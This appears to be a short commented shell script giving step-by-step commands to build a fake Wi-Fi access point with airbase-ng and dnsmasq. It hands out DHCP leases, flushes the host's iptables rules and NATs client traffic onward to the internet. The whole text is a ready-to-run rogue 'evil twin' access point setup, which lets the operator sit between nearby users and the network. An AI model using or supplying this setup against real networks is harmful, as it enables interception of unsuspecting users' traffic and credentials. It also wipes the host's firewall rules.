#install dnsmasq (only do this once)
apt-get install dnsmasq

#edit dhcp configuration
echo -e "interface=at0\ndhcp-range=192.168.0.50,192.168.0.150,12h" > /etc/dnsmasq.conf

#start fake ap
airbase-ng -e [network name] -c [channel] [interface]
#ex: airbase-ng -e fake-ap -c 6 mon0

ifconfig at0 192.168.0.1 up
#removing iptables rules
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain

#enable packet forward in iptables
iptables -P FORWARD ACCEPT

#link the wifi card and the card thats connected to the internet
iptables -t nat -A POSTROUTING -o [internet interface] -j MASQUERADE

#start dnsmasq
dnsmasq

#enable ip forward
echo "1" > /proc/sys/net/ipv4/ip_forward